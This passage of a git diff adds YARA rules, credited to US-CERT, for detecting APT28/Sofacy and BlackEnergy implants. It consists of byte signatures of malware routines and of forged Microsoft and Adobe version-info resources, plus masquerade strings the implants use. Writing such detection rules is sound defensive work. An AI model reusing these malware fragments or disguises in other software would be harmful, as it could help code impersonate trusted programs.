+5F F7 F7 02 5D 14 8B 45 E8 8B 7D F4 C0 E3 06 02 1C 32 32 CB 30 08 8B 4D 14 41 47 83 FF 09 89 4D
+14 89 7D F4 72 A1 }
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_6_v3
+{
+meta:
+	author = "US-CERT"
+	description = "Sofacy, Sednit, EVILTOSS"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$deob_func = { 8D 46 01 02 D1 83 E0 07 8A 04 38 F6 EA 8B D6 83 E2 07 0A 04 3A 33 D2 8A 54
+37 FE 03 D3 03 D1 D3 EA 32 C2 8D 56 FF 83 E2 07 8A 1C 3A 8A 14 2E 32 C3 32 D0 41 88 14 2E 46
+83 FE 0A 7C ?? }
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_6_v4
+{
+meta:
+	author = "US-CERT"
+	description = "Sofacy, Sednit, EVILTOSS"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$ASM = {53 5? 5? [6-15] ff d? 8b ?? b? a0 86 01 00 [7-13] ff d? ?b [6-10] c0 [0-1] c3}
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_6_v5
+{
+meta:
+	author = "US-CERT"
+	description = "Sofacy, Sednit, EVILTOSS"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = { 83 EC 18 8B 4C 24 24 B8 AB AA AA AA F7 E1 8B 44 24 20 53 55 8B EA 8D 14 08
+B8 AB AA AA AA 89 54 24 1C F7 E2 56 8B F2 C1 ED 02 8B DD 57 8B 7C 24 38 89 6C 24 1C C1 EE
+02 3B DE 89 5C 24 18 89 74 24 20 0F 83 CF 00 00 00 8D 14 5B 8D 44 12 FE 89 44 24 10 3B DD 0F 85
+CF 00 00 00 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA 83 F9 06 89 4C 24 38 0F 83 86 00 00 00 8A C3
+B2 06 F6 EA 8B 54 24 10 88 44 24 30 8B 44 24 2C 8D 71 02 03 D0 89 54 24 14 8B 54 24 10 33 C0 8A
+44 37 FE 03 D6 8B D8 8D 46 FF 0F AF DA 33 D2 BD 06 00 00 00 F7 F5 C1 EB 07 8A 04 3A 33 D2 32
+D8 8D 46 01 F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B 44 24
+14 02 D9 8A 0C 30 32 CB 88 0C 30 8B 4C 24 38 41 46 83 FE 08 89 4C 24 38 72 A1 8B 5C 24 18 8B 6C
+24 1C 8B 74 24 20 8B 4C 24 10 43 83 C1 06 3B DE 89 4C 24 10 8B 4C 24 34 89 5C 24 18 0F 82 3C FF
+FF FF 3B DD 75 1A 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA EB 0D 33 C9 89 4C 24 38 E9 40 FF FF
+FF 33 C9 8B 44 24 24 33 D2 BE 06 00 00 00 89 4C 24 38 F7 F6 3B CA 89 54 24 24 0F 83 95 00 00 00
+8A C3 B2 06 F6 EA 8D 1C 5B 88 44 24 30 8B 44 24 2C 8D 71 02 D1 E3 89 5C 24 34 8D 54 03 FE 89
+54 24 14 EB 04 8B 5C 24 34 33 C0 BD 06 00 00 00 8A 44 3E FE 8B D0 8D 44 1E FE 0F AF D0 C1 EA
+07 89 54 24 2C 8D 46 FF 33 D2 BB 06 00 00 00 F7 F3 8B 5C 24 2C 8A 04 3A 33 D2 32 D8 8D 46 01
+F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B 44 24 14 02 D9 8A
+0C 06 32 CB 88 0C 06 8B 4C 24 38 8B 44 24 24 41 46 3B C8 89 4C 24 38 72 8F 5F 5E 5D 5B 83 C4 18
+C2 10 00 }
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_6_v6
+{
+meta:
+	author = "US-CERT"
+	description = "Sofacy, Sednit, EVILTOSS"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$Init1_fun = {68 10 27 00 00 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 6A FF 50 FF 15 ?? ?? ?? ?? 33 C0
+C3}
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_6_v7
+{
+meta:
+	author = "US-CERT"
+	description = "Sofacy, Sednit, EVILTOSS"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+strings:
+	$STR1 = "Init1"
+	$OPT1 = "ServiceMain"
+	$OPT2 = "netids" nocase wide ascii
+	$OPT3 = "netui" nocase wide ascii
+	$OPT4 = "svchost.exe" wide ascii
+	$OPT5 = "network" nocase wide ascii
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and	$STR1 and 2 of ($OPT*)
+}
diff --git a/yara-mikesxrs/US CERT/APT28_implant_4.yara b/yara-mikesxrs/US CERT/APT28_implant_4.yara
new file mode 100644
index 0000000..15d9186
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT28_implant_4.yara	
@@ -0,0 +1,420 @@
+import "pe"
+
+rule IMPLANT_4_v1
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = {55 8B EC 81 EC 54 01 00 00 83 65 D4 00 C6 45 D8 61 C6 45 D9 64 C6 45 DA 76 C6 45 DB 61 C6 45 DC 70 C6 45 DD 69 C6 45 DE 33 C6 45 DF 32 C6 45 E0 2EE9 ?? ?? ?? ??}
+$STR2 = {C7 45 EC 5A 00 00 00 C7 45 E0 46 00 00 00 C7 45 E8 5A 00 00 00 C7 45 E4 46 00 00 00}
+
+condition:
+	(uint16(0)== 0x5A4D or uint16(0) == 0xCFD0 or uint16(0)== 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 1 of them
+}
+
+rule IMPLANT_4_v2
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$BUILD_USER32 = {75 73 65 72 ?? ?? ?? 33 32 2E 64}
+	$BUILD_ADVAPI32 = {61 64 76 61 ?? ?? ?? 70 69 33 32}
+	$CONSTANT = {26 80 AC C8}
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_4_v3
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$a1 = "Adobe Flash Player Installer" wide nocase
+	$a3 = "regedt32.exe" wide nocase
+	$a4 = "WindowsSysUtility" wide nocase
+	$a6 = "USB MDM Driver" wide nocase
+	$b1 = {00 05 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
+00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15
+28 0A 3F 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5C 04 00
+00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00
+1C 02 00 00 01 00 30 00 30 00 31 00 35 00 30 00 34 00 62 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F
+00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00
+73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00
+00 46 00 0F 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F
+00 6E 00 00 00 00 00 55 00 53 00 42 00 20 00 4D 00 44 00 4D 00 20 00 44 00 72 00 69 00 76 00 65 00
+72 00 00 00 00 00 3C 00 0E 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E
+00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00
+4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74
+00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30
+00 31 00 33 00 00 00 00 00 3E 00 0B 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00
+69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 75 00 73 00 62 00 6D 00 64 00 6D 00 2E 00 73 00 79
+00 73 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00
+65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64
+00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73
+00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00
+65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35
+00 35 00 31 00 32 00 00 00 1C 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 62 00 30 00 00 00
+4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D
+00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74
+00 69 00 6F 00 6E 00 00 00 46 00 0F 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00
+69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 55 00 53 00 42 00 20 00 4D 00 44 00 4D 00 20 00 44
+00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 3C 00 0E 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00
+72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35
+00 35 00 31 00 32 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00
+72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00
+43 00 29 00 20 00 32 00 30 00 31 00 33 00 00 00 00 00 3E 00 0B 00 01 00 4F 00 72 00 69 00 67 00 69
+00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 75 00 73 00 62 00 6D 00
+64 00 6D 00 2E 00 73 00 79 00 73 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63
+00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00
+20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E
+00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00
+64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32
+00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 48 00 00 00 01 00 56 00 61 00 72 00 46 00 69
+00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 28 00 08 00 00 00 54 00 72 00 61 00 6E 00 73 00
+6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 15 00 B0 04 09 04 B0 04}
+
+	$b2 = {34 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
+00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 03 00 03 00 04 00 02 00 03 00 03 00 04 00
+02 00 3F 00 00 00 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 02 00 00
+00 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 70
+02 00 00 00 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4A 00 15 00 01 00 43 00 6F 00
+6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 53 00 6F 00 6C 00 69 00 64 00 20
+00 53 00 74 00 61 00 74 00 65 00 20 00 4E 00 65 00 74 00 77 00 6F 00 72 00 6B 00 73 00 00 00 00 00
+62 00 1D 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F
+00 6E 00 00 00 00 00 41 00 64 00 6F 00 62 00 65 00 20 00 46 00 6C 00 61 00 73 00 68 00 20 00 50 00
+6C 00 61 00 79 00 65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 65 00 72 00 00 00 00
+00 30 00 08 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00
+33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 32 00 09 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E
+00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 68 00 6F 00 73 00 74 00 2E 00 65 00 78 00 65 00 00 00
+00 00 76 00 29 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68
+00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 41
+00 64 00 6F 00 62 00 65 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 73 00 20 00 49 00 6E 00 63 00
+6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 65 00 64 00 00 00 00 00 3A 00 09 00 01 00 4F 00 72 00 69
+00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 68 00 6F 00
+73 00 74 00 2E 00 65 00 78 00 65 00 00 00 00 00 5A 00 1D 00 01 00 50 00 72 00 6F 00 64 00 75 00 63
+00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 41 00 64 00 6F 00 62 00 65 00 20 00 46 00 6C 00 61 00
+73 00 68 00 20 00 50 00 6C 00 61 00 79 00 65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C 00 6C
+00 65 00 72 00 00 00 00 00 34 00 08 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72
+00 73 00 69 00 6F 00 6E 00 00 00 33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 44 00 00 00 00 00
+56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54
+00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04 46 45 32 58}
+
+	$b3 = {C8 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
+00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15
+28 0A 17 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 02 00 00
+01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 04
+02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00 6F 00
+6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73
+00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00
+48 00 10 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00
+6E 00 00 00 00 00 49 00 44 00 45 00 20 00 50 00 6F 00 72 00 74 00 20 00 44 00 72 00 69 00 76 00 65 00
+72 00 00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00
+00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00 28 00 78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00 30 00 38 00 35 00 32 00 29
+00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00
+67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00
+20 00 32 00 30 00 30 00 39 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00
+4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 57
+00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00
+20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75
+00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00
+30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00
+65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61
+00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04}
+
+	$b4 = {9C 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
+00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 06 00 01 40 B0 1D 01 00 06 00 01 40
+B0 1D 3F 00 00 00 00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FA 02 00
+00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00
+D6 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F
+00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00
+73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00
+00 58 00 18 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F
+00 6E 00 00 00 00 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6F
+00 72 00 20 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 00 00 6C 00 26 00 01 00 46 00 69 00 6C 00
+65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 36 00 2E 00 31 00 2E 00 37 00 36 00 30
+00 30 00 2E 00 31 00 36 00 33 00 38 00 35 00 20 00 28 00 77 00 69 00 6E 00 37 00 5F 00 72 00 74 00
+6D 00 2E 00 30 00 39 00 30 00 37 00 31 00 33 00 2D 00 31 00 32 00 35 00 35 00 29 00 00 00 3A 00 0D
+00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 72 00 65 00
+67 00 65 00 64 00 74 00 33 00 32 00 2E 00 65 00 78 00 65 00 00 00 00 00 80 00 2E 00 01 00 4C 00 65
+00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9 00 20 00 4D 00
+69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00
+69 00 6F 00 6E 00 2E 00 20 00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72
+00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2E 00 00 00 42 00 0D 00 01 00 4F 00 72 00 69 00 67 00
+69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 65 00 67 00 65
+00 64 00 74 00 33 00 32 00 2E 00 65 00 78 00 65 00 00 00 00 00 6A 00 25 00 01 00 50 00 72 00 6F 00
+64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
+00 66 00 74 00 AE 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 20 00 4F 00 70 00 65 00
+72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 42 00 0F
+00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 36
+00 2E 00 31 00 2E 00 37 00 36 00 30 00 30 00 2E 00 31 00 36 00 33 00 38 00 35 00 00 00 00 00 44 00
+00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04
+00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04}
+
+	$b5 = {78 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
+00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 00 00 05 00 6A 44 B1 1D 00 00 05 00 6A
+44 B1 1D 3F 00 00 00 00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D6 02
+00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 0000 B2 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00
+6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F
+00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00
+00 00 4E 00 13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00
+6F 00 6E 00 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 53 00 79 00 73 00 55 00 74
+00 69 00 6C 00 69 00 74 00 79 00 00 00 00 00 72 00 29 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00
+72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 30 00 2E 00 37 00 36 00 30 00 31 00 2E 00 31
+00 37 00 35 00 31 00 34 00 20 00 28 00 77 00 69 00 6E 00 37 00 73 00 70 00 31 00 5F 00 72 00 74 00
+6D 00 2E 00 31 00 30 00 31 00 31 00 31 00 39 00 2D 00 31 00 38 00 35 00 30 00 29 00 00 00 00 00 30
+00 08 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 6D 00
+73 00 69 00 65 00 78 00 65 00 63 00 00 00 80 00 2E 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F
+00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9 00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00
+6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20
+00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00
+76 00 65 00 64 00 2E 00 00 00 40 00 0C 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46
+00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6D 00 73 00 69 00 65 00 78 00 65 00 63 00 2E 00
+65 00 78 00 65 00 00 00 58 00 1C 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D
+00 65 00 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 53 00 79 00 73 00 55 00 74 00 69 00
+6C 00 69 00 74 00 79 00 20 00 2D 00 20 00 55 00 6E 00 69 00 63 00 6F 00 64 00 65 00 00 00 42 00 0F
+00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35
+00 2E 00 30 00 2E 00 37 00 36 00 30 00 31 00 2E 00 31 00 37 00 35 00 31 00 34 00 00 00 00 00 44 00
+00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04
+00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04}
+
+	$b6 = {D4 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49
+00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15
+28 0A 17 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 02 00 00
+01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 10
+02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00 6F 00
+6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73
+00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00
+4E 00 13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F
+00 6E 00 00 00 00 00 53 00 65 00 72 00 69 00 61 00 6C 00 20 00 50 00 6F 00 72 00 74 00 20 00 44 00
+72 00 69 00 76 00 65 00 72 00 00 00 00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00
